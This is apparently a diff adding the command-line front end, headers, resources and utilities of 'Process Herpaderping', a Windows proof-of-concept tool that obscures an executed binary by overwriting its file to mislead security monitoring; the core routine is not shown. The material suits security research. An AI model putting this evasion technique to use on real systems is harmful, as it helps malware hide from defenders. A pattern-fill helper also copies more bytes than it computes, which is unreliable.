|
||||
constexpr static uint32_t FlagCloseFileEarly = 0x00000008ul;
|
||||
|
||||
/// <summary>
|
||||
/// Terminates the spawned process on success, this can be useful in some
|
||||
/// automation environments. Not compatible with FlagWaitForProcess.
|
||||
/// </summary>
|
||||
constexpr static uint32_t FlagKillSpawnedProcess = 0x00000010ul;
|
||||
#pragma warning(pop)
|
||||
|
||||
/// <summary>
|
||||
/// Executes process herpaderping.
|
||||
/// </summary>
|
||||
/// <param name="SourceFileName">
|
||||
/// Source binary to execute.
|
||||
/// </param>
|
||||
/// <param name="TargetFileName">
|
||||
/// File name to copy source to and obfuscate.
|
||||
/// </param>
|
||||
/// <param name="ReplaceWithFileName">
|
||||
/// Optional, if provided the file is replaced with the content of this
|
||||
/// file. If not provided the file is overwritten with a pattern.
|
||||
/// </param>
|
||||
/// <param name="Pattern">
|
||||
/// Pattern used for obfuscation.
|
||||
/// </param>
|
||||
/// <param name="Flags">
|
||||
/// Flags controlling behavior of herpaderping (Herpaderp::FlagXxx).
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the herpaderping executed. Failure otherwise.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT ExecuteProcess(
|
||||
_In_ const std::wstring& SourceFileName,
|
||||
_In_ const std::wstring& TargetFileName,
|
||||
_In_opt_ const std::optional<std::wstring>& ReplaceWithFileName,
|
||||
_In_ std::span<const uint8_t> Pattern,
|
||||
_In_ uint32_t Flags);
|
||||
|
||||
}
|
||||
@@ -0,0 +1,330 @@
|
||||
//
|
||||
// Copyright (c) Johnny Shaw. All rights reserved.
|
||||
//
|
||||
// File: source/ProcessHerpaderping/main.cpp
|
||||
// Author: Johnny Shaw
|
||||
// Abstract: Process Herpaderping Tool
|
||||
//
|
||||
#include "pch.hpp"
|
||||
#include "utils.hpp"
|
||||
#include "herpaderp.hpp"
|
||||
|
||||
namespace Constants
|
||||
{
|
||||
constexpr static std::wstring_view ToolHeader
|
||||
{
|
||||
WSTR_FILE_DESCRIPTION L" - " WSTR_COPYRIGHT
|
||||
};
|
||||
|
||||
constexpr static std::array<uint8_t, 4> Pattern{ '\x72', '\x6f', '\x66', '\x6c' };
|
||||
|
||||
constexpr static size_t RandPatterLen{ 0x200 };
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Class for parsing and storing process herpaderping tool arguments.
|
||||
/// </summary>
|
||||
class Parameters : public Utils::IArgumentParser
|
||||
{
|
||||
public:
|
||||
constexpr static std::wstring_view Usage
|
||||
{
|
||||
WSTR_ORIGINAL_FILENAME L" SourceFile TargetFile [ReplacedWith] [Options...]\n"
|
||||
L"Usage:\n"
|
||||
L" SourceFile Source file to execute.\n"
|
||||
L" TargetFile Target file to execute the source from.\n"
|
||||
L" ReplacedWith File to replace the target with. Optional,\n"
|
||||
L" default overwrites the binary with a pattern.\n"
|
||||
L" -h,--help Prints tool usage.\n"
|
||||
L" -d,--do-not-wait Does not wait for spawned process to exit,\n"
|
||||
L" default waits.\n"
|
||||
L" -l,--logging-mask number Specifies the logging mask, defaults to full\n"
|
||||
L" logging.\n"
|
||||
L" 0x1 Successes\n"
|
||||
L" 0x2 Informational\n"
|
||||
L" 0x4 Warnings\n"
|
||||
L" 0x8 Errors\n"
|
||||
L" 0x10 Contextual\n"
|
||||
L" -q,--quiet Runs quietly, overrides logging mask, no title.\n"
|
||||
L" -r,--random-obfuscation Uses random bytes rather than a pattern for\n"
|
||||
L" file obfuscation.\n"
|
||||
L" -e,--exclusive Target file is created with exclusive access and\n"
|
||||
L" the handle is held open as long as possible.\n"
|
||||
L" Without this option the handle has full share\n"
|
||||
L" access and is closed as soon as possible.\n"
|
||||
L" -u,--do-not-flush-file Does not flush file after overwrite.\n"
|
||||
L" -c,--close-file-early Closes file before thread creation (before the\n"
|
||||
L" process notify callback fires in the kernel).\n"
|
||||
L" Not valid with \"--exclusive\" option.\n"
|
||||
L" -k,--kill Terminates the spawned process regardless of\n"
|
||||
L" success or failure, this is useful in some\n"
|
||||
L" automation environments. Forces \"--do-not-wait\n"
|
||||
L" option."
|
||||
};
|
||||
|
||||
Parameters() = default;
|
||||
|
||||
/// <summary>
|
||||
/// Parses command line arguments and stores the data in the class.
|
||||
/// </summary>
|
||||
/// <param name="Argc">
|
||||
/// Number of command line arguments.
|
||||
/// </param>
|
||||
/// <param name="Argv">
|
||||
/// Command line arguments.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if arguments were parsed successfully. Failure otherwise.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ virtual HRESULT ParseArguments(
|
||||
_In_ int Argc,
|
||||
_In_reads_(Argc) const wchar_t* Argv[]) override
|
||||
{
|
||||
if (Argc < 3)
|
||||
{
|
||||
return E_INVALIDARG;
|
||||
}
|
||||
|
||||
m_TargetBinary = Argv[1];
|
||||
m_FileName = Argv[2];
|
||||
|
||||
for (int i = 3; i < Argc; i++)
|
||||
{
|
||||
std::wstring arg = Argv[i];
|
||||
|
||||
//
|
||||
// Check for optional flags.
|
||||
//
|
||||
if (SUCCEEDED(Utils::MatchParameter(arg, L"l", L"logging-mask")))
|
||||
{
|
||||
i++;
|
||||
if (i >= Argc)
|
||||
{
|
||||
return E_INVALIDARG;
|
||||
}
|
||||
try
|
||||
{
|
||||
m_LoggingMask = std::stoul(Argv[i], 0, 0);
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
//
|
||||
// Invalid number...
|
||||
//
|
||||
return E_INVALIDARG;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (SUCCEEDED(Utils::MatchParameter(arg, L"d", L"do-not-wait")))
|
||||
{
|
||||
ClearFlag(m_HerpaderpFlags, Herpaderp::FlagWaitForProcess);
|
||||
continue;
|
||||
}
|
||||
if (SUCCEEDED(Utils::MatchParameter(arg, L"q", L"quiet")))
|
||||
{
|
||||
m_Quiet = true;
|
||||
continue;
|
||||
}
|
||||
if (SUCCEEDED(Utils::MatchParameter(arg, L"r", L"random-obfuscation")))
|
||||
{
|
||||
m_RandomObfuscation = true;
|
||||
continue;
|
||||
}
|
||||
if (SUCCEEDED(Utils::MatchParameter(arg, L"e", L"exclusive")))
|
||||
{
|
||||
SetFlag(m_HerpaderpFlags, Herpaderp::FlagHoldHandleExclusive);
|
||||
continue;
|
||||
}
|
||||
if (SUCCEEDED(Utils::MatchParameter(arg, L"u", L"do-not-flush-file")))
|
||||
{
|
||||
ClearFlag(m_HerpaderpFlags, Herpaderp::FlagFlushFile);
|
||||
continue;
|
||||
}
|
||||
if (SUCCEEDED(Utils::MatchParameter(arg, L"c", L"close-file-early")))
|
||||
{
|
||||
SetFlag(m_HerpaderpFlags, Herpaderp::FlagCloseFileEarly);
|
||||
continue;
|
||||
}
|
||||
if (SUCCEEDED(Utils::MatchParameter(arg, L"k", L"kill")))
|
||||
{
|
||||
SetFlag(m_HerpaderpFlags, Herpaderp::FlagKillSpawnedProcess);
|
||||
ClearFlag(m_HerpaderpFlags, Herpaderp::FlagWaitForProcess);
|
||||
continue;
|
||||
}
|
||||
|
||||
//
|
||||
// Assume replace with target.
|
||||
//
|
||||
m_ReplaceWith = arg;
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Must_inspect_result_ virtual HRESULT ValidateArguments() const override
|
||||
{
|
||||
if (FlagOn(m_HerpaderpFlags, Herpaderp::FlagHoldHandleExclusive) &&
|
||||
FlagOn(m_HerpaderpFlags, Herpaderp::FlagCloseFileEarly))
|
||||
{
|
||||
//
|
||||
// These options are incompatible.
|
||||
//
|
||||
return E_FAIL;
|
||||
}
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
/// <summary>Gets the tool usage string.</summary>
|
||||
/// <returns>Tool usage string.</returns>
|
||||
virtual std::wstring_view GetUsage() const override
|
||||
{
|
||||
return Usage;
|
||||
}
|
||||
|
||||
/// <summary>Gets the target binary string.</summary>
|
||||
/// <returns>Target binary string.</returns>
|
||||
const std::wstring& TargetBinary() const
|
||||
{
|
||||
return m_TargetBinary;
|
||||
}
|
||||
|
||||
/// <summary>Gets the file name string.</summary>
|
||||
/// <returns>File name string.</returns>
|
||||
const std::wstring& FileName() const
|
||||
{
|
||||
return m_FileName;
|
||||
}
|
||||
|
||||
/// <summary>Gets the replace with string.</summary>
|
||||
/// <returns>Replace with string.</returns>
|
||||
const std::optional<std::wstring>& ReplaceWith() const
|
||||
{
|
||||
return m_ReplaceWith;
|
||||
}
|
||||
|
||||
/// <summary>Gets the logging bit mask.</summary>
|
||||
/// <returns>Logging bit mask.</returns>
|
||||
uint32_t LoggingMask() const
|
||||
{
|
||||
return m_LoggingMask;
|
||||
}
|
||||
|
||||
/// <summary>Gets the quiet boolean.</summary>
|
||||
/// <returns>Quiet boolean.</returns>
|
||||
bool Quiet() const
|
||||
{
|
||||
return m_Quiet;
|
||||
}
|
||||
|
||||
/// <summary>Gets the random obfuscation boolean.</summary>
|
||||
/// <returns>Random obfuscation boolean.</returns>
|
||||
bool RandomObfuscation() const
|
||||
{
|
||||
return m_RandomObfuscation;
|
||||
}
|
||||
|
||||
/// <summary>Gets herpaderp flags.</summary>
|
||||
/// <returns>Herpaderp flags.</returns>
|
||||
uint32_t HerpaderpFlags() const
|
||||
{
|
||||
return m_HerpaderpFlags;
|
||||
}
|
||||
|
||||
private:
|
||||
|
||||
std::wstring m_TargetBinary;
|
||||
std::wstring m_FileName;
|
||||
std::optional<std::wstring> m_ReplaceWith{ std::nullopt };
|
||||
uint32_t m_LoggingMask
|
||||
{
|
||||
Log::Success |
|
||||
Log::Information |
|
||||
Log::Warning |
|
||||
Log::Error |
|
||||
Log::Context
|
||||
};
|
||||
bool m_Quiet{ false };
|
||||
bool m_RandomObfuscation{ false };
|
||||
uint32_t m_HerpaderpFlags
|
||||
{
|
||||
Herpaderp::FlagWaitForProcess |
|
||||
Herpaderp::FlagFlushFile
|
||||
};
|
||||
};
|
||||
|
||||
/// <summary>
|
||||
/// Main entry point for Process Herpaderping Tool.
|
||||
/// </summary>
|
||||
/// <param name="Argc">
|
||||
/// Number of command line arguments.
|
||||
/// </param>
|
||||
/// <param name="Argv">
|
||||
/// Command line arguments.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// EXIT_SUCCESS on success, EXIT_FAILURE on failure or invalid parameters.
|
||||
/// </returns>
|
||||
int wmain(
|
||||
_In_ int Argc,
|
||||
_In_reads_(Argc) const wchar_t* Argv[])
|
||||
{
|
||||
Parameters params;
|
||||
if (FAILED(Utils::HandleCommandLineArgs(Argc,
|
||||
Argv,
|
||||
Constants::ToolHeader,
|
||||
params)))
|
||||
{
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
if (params.Quiet())
|
||||
{
|
||||
//
|
||||
// Run quietly, no header and override the logging mask.
|
||||
//
|
||||
Utils::SetLoggingMask(0);
|
||||
}
|
||||
else
|
||||
{
|
||||
std::wcout << Constants::ToolHeader << L'\n';
|
||||
Utils::SetLoggingMask(params.LoggingMask());
|
||||
}
|
||||
|
||||
//
|
||||
// Herpaderp wants a pattern to use for obfuscation, set that up here.
|
||||
//
|
||||
HRESULT hr;
|
||||
std::span<const uint8_t> pattern = Constants::Pattern;
|
||||
std::vector<uint8_t> patternBuffer;
|
||||
|
||||
if (params.RandomObfuscation())
|
||||
{
|
||||
//
|
||||
// Use a random pattern instead.
|
||||
//
|
||||
patternBuffer.resize(Constants::RandPatterLen);
|
||||
hr = Utils::FillBufferWithRandomBytes(patternBuffer);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
Utils::Log(Log::Error,
|
||||
hr,
|
||||
L"Failed to generate random buffer");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
pattern = std::span<const uint8_t>(patternBuffer);
|
||||
}
|
||||
|
||||
hr = Herpaderp::ExecuteProcess(params.TargetBinary(),
|
||||
params.FileName(),
|
||||
params.ReplaceWith(),
|
||||
pattern,
|
||||
params.HerpaderpFlags());
|
||||
if (FAILED(hr))
|
||||
{
|
||||
Utils::Log(Log::Error, hr, L"Process Herpaderp Failed");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
Utils::Log(Log::Success, L"Process Herpaderp Succeeded");
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
//
|
||||
// Copyright (c) Johnny Shaw. All rights reserved.
|
||||
//
|
||||
// File: pch.hpp
|
||||
// Author: Johnny Shaw
|
||||
// Abstract: Pre-compiled Header
|
||||
//
|
||||
#pragma once
|
||||
|
||||
//
|
||||
// Windows
|
||||
//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#define WIN32_NO_STATUS
|
||||
#include <Windows.h>
|
||||
#undef WIN32_NO_STATUS
|
||||
#include <ntstatus.h>
|
||||
#include <strsafe.h>
|
||||
#include <winioctl.h>
|
||||
#include <bcrypt.h>
|
||||
|
||||
//
|
||||
// STL
|
||||
//
|
||||
#include <cstdint>
|
||||
#include <iostream>
|
||||
#include <iomanip>
|
||||
#include <string>
|
||||
#include <sstream>
|
||||
#include <array>
|
||||
#include <vector>
|
||||
#include <algorithm>
|
||||
#include <functional>
|
||||
#include <optional>
|
||||
#include <span>
|
||||
|
||||
//
|
||||
// Third Party
|
||||
//
|
||||
#pragma warning(push)
|
||||
#pragma warning(disable : 6387) // prefast: does not adhere to the specification for the function
|
||||
#pragma warning(disable : 6001) // prefast: using uninitialized memory
|
||||
#pragma warning(disable : 6388) // prefast: data may not be value
|
||||
#pragma warning(disable : 4634) // xmldoc: discarding XML document comment for invalid target
|
||||
#pragma warning(disable : 4635) // xmldoc: badly-formatted XML
|
||||
#include <wil/common.h>
|
||||
#include <wil/stl.h>
|
||||
#include <wil/result.h>
|
||||
#include <wil/resource.h>
|
||||
#pragma warning(pop)
|
||||
#pragma warning(push)
|
||||
#pragma warning(disable : 4201) // nameless struct/union
|
||||
#pragma warning(disable : 4324) // structure was padded due to __declspec(align())
|
||||
#pragma warning(disable : 4471) // a forward declaration of an unscoped enumeration
|
||||
#pragma warning(disable : 28253) // prefast: Inconsistent annotation
|
||||
#define PHNT_VERSION PHNT_THRESHOLD
|
||||
#include <phnt/phnt_windows.h>
|
||||
#include <phnt/phnt.h>
|
||||
#include <phnt/ntpsapi.h>
|
||||
#include <phnt/ntrtl.h>
|
||||
#include <phnt/ntpebteb.h>
|
||||
#pragma warning(pop)
|
||||
|
||||
//
|
||||
// Common Macros/Defines/Usings
|
||||
//
|
||||
#define SCAST(_X_) static_cast<_X_>
|
||||
#define RCAST(_X_) reinterpret_cast<_X_>
|
||||
#define CCAST(_X_) const_cast<_X_>
|
||||
#define DCAST(_X_) dynamic_cast<_X_>
|
||||
#define Add2Ptr(_P_, _X_) RCAST(void*)(RCAST(uintptr_t)(_P_) + _X_)
|
||||
#ifndef FlagOn
|
||||
#define FlagOn(_F_, _X_) ((_F_) & (_X_))
|
||||
#endif
|
||||
#ifndef SetFlag
|
||||
#define SetFlag(_F_, _X_) ((_F_) |= (_X_))
|
||||
#endif
|
||||
#ifndef ClearFlag
|
||||
#define ClearFlag(_F_, _X_) ((_F_) &= ~(_X_))
|
||||
#endif
|
||||
using handle_t = HANDLE;
|
||||
|
||||
//
|
||||
// wil extensions
|
||||
//
|
||||
namespace wil
|
||||
{
|
||||
using unique_user_process_parameters = unique_any<
|
||||
PRTL_USER_PROCESS_PARAMETERS,
|
||||
decltype(&RtlDestroyProcessParameters),
|
||||
RtlDestroyProcessParameters>;
|
||||
}
|
||||
#define RETURN_LAST_ERROR_SET(win32err) SetLastError(win32err); RETURN_LAST_ERROR()
|
||||
|
||||
//
|
||||
// prefast suppression
|
||||
//
|
||||
#pragma warning(disable : 6319) // prefast: use of the comma-operator in a tested expression
|
||||
|
||||
//
|
||||
// Internal
|
||||
//
|
||||
#include "res/version.h"
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 65 KiB |
@@ -0,0 +1,8 @@
|
||||
//
|
||||
// Copyright (c) Johnny Shaw. All rights reserved.
|
||||
//
|
||||
// File: source/ProcessHerpaderping/res/resource.h
|
||||
// Author: Johnny Shaw
|
||||
// Abstract: Resource Header
|
||||
//
|
||||
#define IDI_ICON 101
|
||||
@@ -0,0 +1,47 @@
|
||||
//
|
||||
// Copyright (c) Johnny Shaw. All rights reserved.
|
||||
//
|
||||
// File: source/ProcessHerpaderping/res/resource.rc
|
||||
// Author: Johnny Shaw
|
||||
// Abstract: Resource File
|
||||
//
|
||||
#include <Windows.h>
|
||||
#include <ntverp.h>
|
||||
#include "resource.h"
|
||||
#include "version.h"
|
||||
|
||||
IDI_ICON ICON "Icon.ico"
|
||||
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION VER_MAJOR,VER_MINOR,VER_PATCH,VER_BUILD
|
||||
PRODUCTVERSION VER_MAJOR,VER_MINOR,VER_PATCH,VER_BUILD
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
FILEFLAGS 0x1L
|
||||
#else
|
||||
FILEFLAGS 0x0L
|
||||
#endif
|
||||
FILEOS 0x40004L
|
||||
FILETYPE 0x1L
|
||||
FILESUBTYPE 0x0L
|
||||
BEGIN
|
||||
BLOCK "StringFileInfo"
|
||||
BEGIN
|
||||
BLOCK "040904b0"
|
||||
BEGIN
|
||||
VALUE "CompanyName", STR_COMPANY_NAME
|
||||
VALUE "FileDescription", STR_FILE_DESCRIPTION
|
||||
VALUE "FileVersion", STR_VERSION
|
||||
VALUE "InternalName", STR_INTERNAL_NAME
|
||||
VALUE "LegalCopyright", STR_COPYRIGHT
|
||||
VALUE "OriginalFilename", STR_ORIGINAL_FILENAME
|
||||
VALUE "ProductName", STR_PRODUCT_NAME
|
||||
VALUE "ProductVersion", STR_PRODUCT_VERSION
|
||||
END
|
||||
END
|
||||
BLOCK "VarFileInfo"
|
||||
BEGIN
|
||||
VALUE "Translation", 0x409, 1200
|
||||
END
|
||||
END
|
||||
@@ -0,0 +1,42 @@
|
||||
//
|
||||
// Copyright (c) Johnny Shaw. All rights reserved.
|
||||
//
|
||||
// File: source/ProcessHerpaderping/res/version.h
|
||||
// Author: Johnny Shaw
|
||||
// Abstract: Version Header
|
||||
//
|
||||
#pragma once
|
||||
#define VER_MAJOR 1
|
||||
#define VER_MINOR 0
|
||||
#define VER_PATCH 0
|
||||
#define VER_BUILD 1
|
||||
|
||||
#define MKSTR(_x_) #_x_
|
||||
#define MKWSTR(_x_) L##_x_
|
||||
#define VER_MAKE_STR(_Major_, _Minor_, _Patch_, _Build_)\
|
||||
MKSTR(_Major_) "." \
|
||||
MKSTR(_Minor_) "." \
|
||||
MKSTR(_Patch_) "." \
|
||||
MKSTR(_Build_)
|
||||
#define VER_MAKE_WSTR(_Major_, _Minor_, _Patch_, _Build_)\
|
||||
MKWSTR(_Major_) L"." \
|
||||
MKWSTR(_Minor_) L"." \
|
||||
MKWSTR(_Patch_) L"." \
|
||||
MKWSTR(_Build_)
|
||||
|
||||
#define WSTR_COMPANY_NAME L"Johnny Shaw"
|
||||
#define STR_COMPANY_NAME "Johnny Shaw"
|
||||
#define WSTR_COPYRIGHT L"Copyright (c) 2020 Johnny Shaw"
|
||||
#define STR_COPYRIGHT "Copyright (c) 2020 Johnny Shaw"
|
||||
#define WSTR_ORIGINAL_FILENAME L"ProcessHerpaderping.exe"
|
||||
#define STR_ORIGINAL_FILENAME "ProcessHerpaderping.exe"
|
||||
#define WSTR_PRODUCT_NAME L"Process Herpaderping Tool"
|
||||
#define STR_PRODUCT_NAME "Process Herpaderping Tool"
|
||||
#define WSTR_FILE_DESCRIPTION WSTR_PRODUCT_NAME
|
||||
#define STR_FILE_DESCRIPTION STR_PRODUCT_NAME
|
||||
#define WSTR_INTERNAL_NAME L"ProcessHerpaderping"
|
||||
#define STR_INTERNAL_NAME "ProcessHerpaderping"
|
||||
#define WSTR_VERSION VER_MAKE_WSTR(VER_MAJOR, VER_MINOR, VER_PATCH, VER_BUILD)
|
||||
#define STR_VERSION VER_MAKE_STR(VER_MAJOR, VER_MINOR, VER_PATCH, VER_BUILD)
|
||||
#define WSTR_PRODUCT_VERSION WSTR_VERSION
|
||||
#define STR_PRODUCT_VERSION STR_VERSION
|
||||
@@ -0,0 +1,879 @@
|
||||
//
|
||||
// Copyright (c) Johnny Shaw. All rights reserved.
|
||||
//
|
||||
// File: source/ProcessHerpaderping/utils.cpp
|
||||
// Author: Johnny Shaw
|
||||
// Abstract: Utility functionality for herpaderping.
|
||||
//
|
||||
#include "pch.hpp"
|
||||
#include "utils.hpp"
|
||||
|
||||
namespace Utils
|
||||
{
|
||||
static uint32_t g_LoggingMask{ 0xffffffff };
|
||||
constexpr static uint32_t MaxFileBuffer{ 0x8000 }; // 32kib
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::MatchParameter(
|
||||
std::wstring_view Arg,
|
||||
std::optional<std::wstring_view> Short,
|
||||
std::optional<std::wstring_view> Long)
|
||||
{
|
||||
if (Arg.length() < 2)
|
||||
{
|
||||
RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
if (Long.has_value() && (Arg[0] == L'-') && (Arg[1] == L'-'))
|
||||
{
|
||||
if (wcscmp(&Arg[2], Long->data()) == 0)
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
}
|
||||
if (Short.has_value() && ((Arg[0] == L'-') || (Arg[0] == L'/')))
|
||||
{
|
||||
if (wcscmp(&Arg[1], Short->data()) == 0)
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
}
|
||||
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::CheckForHelpOptions(
|
||||
int Argc,
|
||||
const wchar_t* Argv[])
|
||||
{
|
||||
for (int i = 0; i < Argc; i++)
|
||||
{
|
||||
if (SUCCEEDED(MatchParameter(Argv[i], L"h", L"help")) ||
|
||||
SUCCEEDED(MatchParameter(Argv[i], L"?", std::nullopt)))
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
}
|
||||
return E_NOT_SET;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::HandleCommandLineArgs(
|
||||
int Argc,
|
||||
const wchar_t* Argv[],
|
||||
std::optional<std::wstring_view> Header,
|
||||
IArgumentParser& Parser)
|
||||
{
|
||||
if (SUCCEEDED(CheckForHelpOptions(Argc, Argv)) ||
|
||||
FAILED(Parser.ParseArguments(Argc, Argv)) ||
|
||||
FAILED(Parser.ValidateArguments()))
|
||||
{
|
||||
if (Header.has_value())
|
||||
{
|
||||
std::wcout << *Header << L'\n';
|
||||
}
|
||||
std::wcout << Parser.GetUsage();
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
std::wstring Utils::FormatError(uint32_t Error)
|
||||
{
|
||||
wil::unique_any<LPWSTR, decltype(&LocalFree), LocalFree> buffer;
|
||||
std::wstring message;
|
||||
auto length = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER |
|
||||
FORMAT_MESSAGE_FROM_SYSTEM |
|
||||
FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||
nullptr,
|
||||
Error,
|
||||
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
|
||||
RCAST(LPWSTR)(&buffer),
|
||||
0,
|
||||
nullptr);
|
||||
if ((buffer != nullptr) && (length > 0))
|
||||
{
|
||||
message = std::wstring(buffer.get(), length);
|
||||
}
|
||||
else
|
||||
{
|
||||
length = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER |
|
||||
FORMAT_MESSAGE_FROM_SYSTEM |
|
||||
FORMAT_MESSAGE_FROM_HMODULE |
|
||||
FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||
GetModuleHandleA("ntdll.dll"),
|
||||
Error,
|
||||
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
|
||||
RCAST(LPWSTR)(&buffer),
|
||||
0,
|
||||
nullptr);
|
||||
if ((buffer != nullptr) && (length > 0))
|
||||
{
|
||||
//
|
||||
// NT status codes are formatted with inserts, only use the
|
||||
// initial description if there is one, otherwise just use the
|
||||
// string as is.
|
||||
//
|
||||
message = std::wstring(buffer.get(), length);
|
||||
if (message[0] == L'{')
|
||||
{
|
||||
auto pos = message.find(L'}', 1);
|
||||
if (pos != std::wstring::npos)
|
||||
{
|
||||
message = std::wstring(message.begin() + 1,
|
||||
message.begin() + pos);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (message.empty())
|
||||
{
|
||||
message = L"Unknown Error";
|
||||
}
|
||||
|
||||
std::wstringstream ss;
|
||||
ss << L"0x"
|
||||
<< std::hex << std::setfill(L'0') << std::setw(8) << Error
|
||||
<< L" - "
|
||||
<< std::move(message);
|
||||
|
||||
auto res = ss.str();
|
||||
EraseAll(res, { L'\r', L'\n', L'\t' });
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
void Utils::SetLoggingMask(uint32_t Level)
|
||||
{
|
||||
g_LoggingMask = Level;
|
||||
}
|
||||
|
||||
static const wchar_t* GetLogLevelPrefix(_In_ uint32_t Level)
|
||||
{
|
||||
if (Level & Log::Error)
|
||||
{
|
||||
return L"[ERROR] ";
|
||||
}
|
||||
else if (Level & Log::Warning)
|
||||
{
|
||||
return L"[WARN] ";
|
||||
}
|
||||
else if (Level & Log::Information)
|
||||
{
|
||||
return L"[INFO] ";
|
||||
}
|
||||
else if (Level & Log::Debug)
|
||||
{
|
||||
return L"[DEBUG] ";
|
||||
}
|
||||
|
||||
return L"[OK] ";
|
||||
}
|
||||
|
||||
static void LogInternal(
|
||||
_In_ bool AppendError,
|
||||
_In_ uint32_t Error,
|
||||
_In_ uint32_t Level,
|
||||
_Printf_format_string_ const wchar_t* Format,
|
||||
_In_ va_list Args)
|
||||
{
|
||||
if ((Level & Utils::g_LoggingMask) == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
std::wstring line;
|
||||
if (Utils::g_LoggingMask & Log::Context)
|
||||
{
|
||||
wil::str_printf_nothrow(line,
|
||||
L"[%lu:%lu]",
|
||||
GetCurrentProcessId(),
|
||||
GetCurrentThreadId());
|
||||
}
|
||||
|
||||
line += GetLogLevelPrefix(Level);
|
||||
|
||||
std::wstring fmt;
|
||||
HRESULT hr = wil::details::str_vprintf_nothrow(fmt, Format, Args);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
fmt = L"Formatting Error " + Utils::FormatError(hr);
|
||||
}
|
||||
line += std::move(fmt);
|
||||
|
||||
if (AppendError)
|
||||
{
|
||||
line += L", ";
|
||||
line += Utils::FormatError(Error);
|
||||
}
|
||||
|
||||
if (Level & Log::Error)
|
||||
{
|
||||
std::wcerr << line << L'\n';
|
||||
}
|
||||
else
|
||||
{
|
||||
std::wcout << line << L'\n';
|
||||
}
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
void Utils::Log(
|
||||
uint32_t Level,
|
||||
const wchar_t* Format,
|
||||
...)
|
||||
{
|
||||
va_list args;
|
||||
va_start(args, Format);
|
||||
LogInternal(false, 0, Level, Format, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
uint32_t Utils::Log(
|
||||
uint32_t Level,
|
||||
uint32_t Error,
|
||||
const wchar_t* Format,
|
||||
...)
|
||||
{
|
||||
va_list args;
|
||||
va_start(args, Format);
|
||||
LogInternal(true, Error, Level, Format, args);
|
||||
va_end(args);
|
||||
return Error;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::FillBufferWithPattern(
|
||||
std::vector<uint8_t>& Buffer,
|
||||
std::span<const uint8_t> Pattern)
|
||||
{
|
||||
if (Buffer.empty())
|
||||
{
|
||||
RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
auto bytesRemaining = Buffer.size();
|
||||
while (bytesRemaining > 0)
|
||||
{
|
||||
auto len = (Pattern.size() > bytesRemaining ?
|
||||
bytesRemaining
|
||||
:
|
||||
Pattern.size());
|
||||
|
||||
std::memcpy(&Buffer[Buffer.size() - bytesRemaining],
|
||||
Pattern.data(),
|
||||
Pattern.size());
|
||||
|
||||
bytesRemaining -= len;
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::FillBufferWithRandomBytes(
|
||||
std::vector<uint8_t>& Buffer)
|
||||
{
|
||||
if (Buffer.empty())
|
||||
{
|
||||
RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
RETURN_IF_NTSTATUS_FAILED(
|
||||
BCryptGenRandom(nullptr,
|
||||
Buffer.data(),
|
||||
SCAST(ULONG)(Buffer.size()),
|
||||
BCRYPT_USE_SYSTEM_PREFERRED_RNG));
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::GetFileSize(
|
||||
handle_t FileHandle,
|
||||
uint64_t& FileSize)
|
||||
{
|
||||
FileSize = 0;
|
||||
|
||||
LARGE_INTEGER fileSize;
|
||||
RETURN_IF_WIN32_BOOL_FALSE(GetFileSizeEx(FileHandle, &fileSize));
|
||||
|
||||
if (fileSize.QuadPart < 0)
|
||||
{
|
||||
RETURN_LAST_ERROR_SET(ERROR_FILE_INVALID);
|
||||
}
|
||||
|
||||
FileSize = fileSize.QuadPart;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
